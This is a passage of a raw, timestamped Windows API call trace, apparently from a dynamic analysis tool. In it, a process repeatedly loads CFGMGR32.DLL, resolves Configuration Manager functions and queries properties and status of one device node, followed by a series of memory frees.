GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.932] malloc (_Size=0x18) returned 0x196ef0d1980 [0233.932] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.937] malloc (_Size=0x48) returned 0x196ef0fc080 [0233.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c49e427, dwHighDateTime=0x1d9eb0c)) [0233.937] SetEvent (hEvent=0x248) returned 1 [0233.941] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.942] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.946] malloc (_Size=0x18) returned 0x196ef0d1f40 [0233.946] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.946] malloc (_Size=0x48) returned 0x196ef0fbb30 [0233.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c4c47a3, dwHighDateTime=0x1d9eb0c)) [0233.947] SetEvent (hEvent=0x248) returned 1 [0233.999] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0234.000] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0234.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0234.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0234.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0234.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0234.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0234.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0234.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0234.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0234.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0234.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0234.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0234.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0234.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0234.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0234.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0234.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0234.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0234.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0234.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0234.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0234.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0234.004] malloc (_Size=0x18) returned 0x196ef0d1d60 [0234.004] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0234.005] malloc (_Size=0x48) returned 0x196ef0fc170 [0234.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c55d1e4, dwHighDateTime=0x1d9eb0c)) [0234.005] SetEvent (hEvent=0x248) returned 1 [0234.010] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0234.010] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0234.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0234.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0234.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0234.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0234.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0234.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0234.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0234.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0234.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0234.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0234.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0234.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0234.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0234.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0234.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0234.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0234.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0234.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0234.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0234.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0234.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0234.015] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0234.015] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0234.015] malloc (_Size=0x48) returned 0x196ef0fbea0 [0234.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c55d1e4, dwHighDateTime=0x1d9eb0c)) [0234.016] SetEvent (hEvent=0x248) returned 1 [0234.022] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0234.022] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0234.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0234.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0234.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0234.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0234.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0234.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0234.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0234.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0234.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0234.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0234.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0234.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0234.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0234.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0234.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0234.026] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0234.026] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0234.030] malloc (_Size=0x48) returned 0x196ef0fbd10 [0234.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c583976, dwHighDateTime=0x1d9eb0c)) [0234.030] SetEvent (hEvent=0x248) returned 1 [0234.034] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0234.034] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0234.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0234.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0234.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0234.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0234.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0234.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0234.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0234.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0234.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0234.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0234.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0234.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0234.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0234.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0234.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0234.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0234.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0234.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0234.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0234.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0234.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0234.038] malloc (_Size=0x18) returned 0x196ef0d1b20 [0234.039] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3e, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0234.039] malloc (_Size=0x48) returned 0x196ef0fbd60 [0234.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6c5a94be, dwHighDateTime=0x1d9eb0c)) [0234.039] SetEvent (hEvent=0x248) returned 1 [0234.092] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0234.092] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0234.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0234.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0234.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0234.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0234.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0234.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0234.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0234.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0234.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0234.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0234.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0234.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0234.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0234.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0234.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0234.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0234.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0234.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0234.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0234.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0234.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0234.096] malloc (_Size=0x18) returned 0x196ef0d1de0 [0234.097] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3e, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0234.097] malloc (_Size=0x48) returned 0x196ef0fbe00 [0234.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6c6420f1, dwHighDateTime=0x1d9eb0c)) [0234.097] SetEvent (hEvent=0x248) returned 1 [0234.102] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0234.102] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0234.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0234.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0234.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0234.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0234.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0234.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0234.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0234.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0234.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0234.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0234.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0234.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0234.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0234.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0234.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0234.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0234.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0234.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0234.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0234.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0234.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0234.106] malloc (_Size=0x18) returned 0x196ef0d20c0 [0234.106] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0234.107] malloc (_Size=0x48) returned 0x196ef0fbef0 [0234.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c6420f1, dwHighDateTime=0x1d9eb0c)) [0234.107] SetEvent (hEvent=0x248) returned 1 [0234.114] free (_Block=0x196ef0f7480) [0234.114] free (_Block=0x196ef0f7240) [0234.114] free (_Block=0x196ef0f7720) [0234.115] free (_Block=0x196ef0f7360) [0234.115] free (_Block=0x196ef0f6dc0) [0234.115] free (_Block=0x196ef0f75a0) [0234.116] free (_Block=0x196ef0f7420) [0234.116] free (_Block=0x196ef0f79c0) [0234.117] free (_Block=0x196ef0f7900) [0234.118] free (_Block=0x196ef0f6e20) [0234.119] free (_Block=0x196ef0f77e0) [0234.120] free (_Block=0x196ef0f7840) [0234.121] free (_Block=0x196ef0f7b40) [0234.122] free (_Block=0x196ef0f6e80) [0234.123] free (_Block=0x196ef0f78a0) [0234.124] free (_Block=0x196ef0f6ee0) [0234.124] free (_Block=0x196ef0f7960) [0234.125] free (_Block=0x196ef0f7ba0) [0234.126] free (_Block=0x196ef0f73c0) [0234.127] free (_Block=0x196ef0f7c00) [0234.175] free (_Block=0x196ef0f7a20) [0234.176] free (_Block=0x196ef0f72a0) [0234.177] free (_Block=0x196ef0f7300) [0234.177] free (_Block=0x196ef0f7a80) [0234.178] free (_Block=0x196ef0f6f40) [0234.179] free (_Block=0x196ef0f74e0) [0234.179] free (_Block=0x196ef0f6fa0) [0234.180] free (_Block=0x196ef0f7ae0) [0234.180] free (_Block=0x196ef0f7660) [0234.181] free (_Block=0x196ef0f7540) [0234.182] free (_Block=0x196ef0f7000) [0234.182] free (_Block=0x196ef0f7c60) [0234.183] free (_Block=0x196ef0f7060) [0234.183] free (_Block=0x196ef0f7600) [0234.184] free (_Block=0x196ef0f7cc0) [0234.185] free (_Block=0x196ef0f76c0) [0234.185] free (_Block=0x196ef0f7780) [0234.186] free (_Block=0x196ef0f70c0) [0234.186] free (_Block=0x196ef0f7120) [0234.187] free (_Block=0x196ef0f7180) [0234.188] free (_Block=0x196ef0f71e0) [0234.188] free (_Block=0x196ef100f80) [0234.189] free (_Block=0x196ef1014c0) [0234.190] free (_Block=0x196ef100980) [0234.239] free (_Block=0x196ef1009e0) [0234.240] free (_Block=0x196ef1007a0) [0234.240] free (_Block=0x196ef1011c0) [0234.241] free (_Block=0x196ef100a40) [0234.242] free (_Block=0x196ef100ce0) [0234.242] free (_Block=0x196ef100fe0) [0234.243] free (_Block=0x196ef100aa0) [0234.243] free (_Block=0x196ef101160) [0234.244] free (_Block=0x196ef100e60) [0234.245] free (_Block=0x196ef101280) [0234.245] free (_Block=0x196ef1008c0) [0234.246] free (_Block=0x196ef101520) [0234.247] free 